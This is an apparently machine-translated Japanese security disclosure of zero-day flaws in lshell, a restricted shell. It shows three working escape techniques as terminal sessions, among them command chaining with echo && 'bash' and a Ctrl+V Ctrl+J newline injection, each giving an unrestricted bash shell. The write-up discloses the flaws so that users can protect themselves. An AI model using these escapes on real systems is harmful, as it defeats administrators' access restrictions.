lshellの0day脆弱性

lshellは、ユーザーがアクセスできるファイルシステムコマンドとパスを制限するシェルです。 洗練されたchrootセットアップの代替として宣伝されています:



など、使用するためにそれを提供する多くのソースがあります。



このアプリケーションは、Ubuntu、Debian、およびEPELのリポジトリで利用できます。



コードの問題


構成ファイルに関するlshellの注意事項を簡単に見ると、lshellによって導入された制限の一部は、コマンドの構文解析を単純化するために使用されており、セキュリティを強化するものではないことがわかります。 たとえば、セミコロンとサブシェルの使用の禁止。 この構文解析がどのように実装されているかを詳しく見ることは理にかなっています。



ソースコードを調べると、起動されたコマンドとその引数選択は、単純なCLIコマンドの解析を目的としたライブラリによって行われ、シェルコマンドの複雑な構文を正しく解析しないことが明らかになります。 同時に、 ドキュメント警告にもかかわらず、単純な検証の後、 コマンドは/ bin / shシェルに渡されます 。 検証には特別な注意が必要であり、次の前提に基づいています。



構文の実際の構文解析はどこにも存在しないため、これは検証で行われたすべての仮定とはほど遠いものです。



結果


このような制限されたシェルからのエスケープには、次のシナリオが利用可能です。

シナリオ1:引用符とコマンドチェーンの問題を利用する
 vladislav @ dt1:〜$ getent passwd testuser
 testuser:x:1002:1003:,,,:/ home / testuser:/ usr / bin / lshell
 Vladislav @ dt1:〜$ su-テストユーザー
パスワード: 
あなたは限られたシェルにいます。
 「?」と入力します または「help」は許可されたコマンドのリストを取得します
 testuser:〜$?
 cd clear echo exit help history ll lpath ls lsudo
テストユーザー:〜$ ls
 examples.desktop
テストユーザー:〜$ which bash
 ***禁止コマンド:which
 testuser:〜$ ls'usb '
バス002デバイス001:ID 1d6b:0003 Linux Foundation 3.0ルートハブ
バス001デバイス006:ID 046d:c05a Logitech、Inc.  M90 / M100光学式マウス
バス001デバイス002:ID 046d:c31c Logitech、Inc. キーボードK120
バス001デバイス001:ID 1d6b:0002 Linux Foundation 2.0ルートハブ
 testuser:〜$ echo && 'bash'

 testuser @ dt1:〜$ PATH = / usr / local / sbin:/ usr / local / bin:/ usr / sbin:/ usr / bin:/ sbin:/ bin:/ usr / games:/ usr / local / games: /スナップ/ビン
 testuser @ dt1:〜$ reboot --help
再起動[オプション...] [ARG]

システムを再起動します。

      --helpこのヘルプを表示
      --haltマシンを停止します
   -p --poweroffマシンのスイッチをオフにします
      --rebootマシンを再起動します
   -f --force強制的に即時停止/電源オフ/再起動
   -w --wtmp-only wtmpレコードを書き込むだけで、停止/電源オフ/再起動しません
   -d --no-wtmp wtmpレコードを書き込みません
      --no-wall停止/電源オフ/再起動の前に壁メッセージを送信しません


Ghの問題



シナリオ2:ホームディレクトリからスクリプトを実行します。パスには許可されたコマンドの名前が含まれます
 Vladislav @ dt1:〜$ su-テストユーザー
パスワード: 
あなたは限られたシェルにいます。
 「?」と入力します または「help」は許可されたコマンドのリストを取得します
 testuser:〜$?
 cd clear echo exit help history ll lpath ls lsudo
 testuser:〜$ echo '/ 1.sh'
 testuser @ dt1:〜$ cat echo / 1.sh 
 #!/ bin / bash

 / bin / bash
 testuser @ dt1:〜$ 


Ghの問題



シナリオ3:カスタムターミナルシーケンスの使用
任意の許可された単語でコマンドを開始し、2つのキーボードショートカット<CTRL + V> <CTRL + J>を連続して押して改行を挿入し、必要なコマンドを新しい行に入力するだけで十分です。



 vladislav @ dt1:〜$ getent passwd testuser
 testuser:x:1001:1002:,,,:/ home / testuser:/ usr / bin / lshell
 Vladislav @ dt1:〜$ su-テストユーザー
パスワード: 
あなたは限られたシェルにいます。
 「?」と入力します または「help」は許可されたコマンドのリストを取得します
 testuser:〜$?
 cd clear echo exit help history ll lpath ls lsudo
 testuser:〜$ bash
 ***禁止コマンド:bash
 testuser:〜$ echo <CTRL + V> <CTRL + J>
バッシュ

 testuser @ dt1:〜$ which bash
 / bin / bash


Ghの問題



最適なソリューション


このソフトウェアソリューションは、安全に使用できる状態からはかけ離れています。 したがって、最善の方法は、操作を停止することです。



All Articles